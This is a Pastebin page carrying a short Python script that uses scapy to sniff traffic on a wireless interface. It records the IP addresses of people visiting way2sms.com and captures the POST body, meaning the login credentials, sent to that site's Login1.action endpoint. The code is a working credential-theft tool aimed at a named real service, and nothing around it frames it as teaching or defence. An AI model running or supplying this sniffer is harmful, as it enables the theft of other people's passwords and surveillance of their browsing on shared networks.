Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from scapy.all import *
- import re
- conf.iface="wlan0"
- def sniffData(pkt):
- if pkt.haslayer( Raw ): # Check for the Data layer
- header = pkt.getlayer( Raw ).load # Get the sent data
- if header.startswith('GET') or header.startswith('POST'): # Make sure it's a request
- if 'way2sms.com' in header:
- src = pkt.getlayer(IP).src
- print "%s visited the site: %s" % (src, 'way2sms.com')
- if header.startswith('POST'):
- if 'Login1.action' in header:
- data = header.split('\r\n\r\n')[1]
- print "[%s] POST data Captured: %s" % (src, data)
- sniff(prn=sniffData)
Add Comment
Please, Sign In to add comment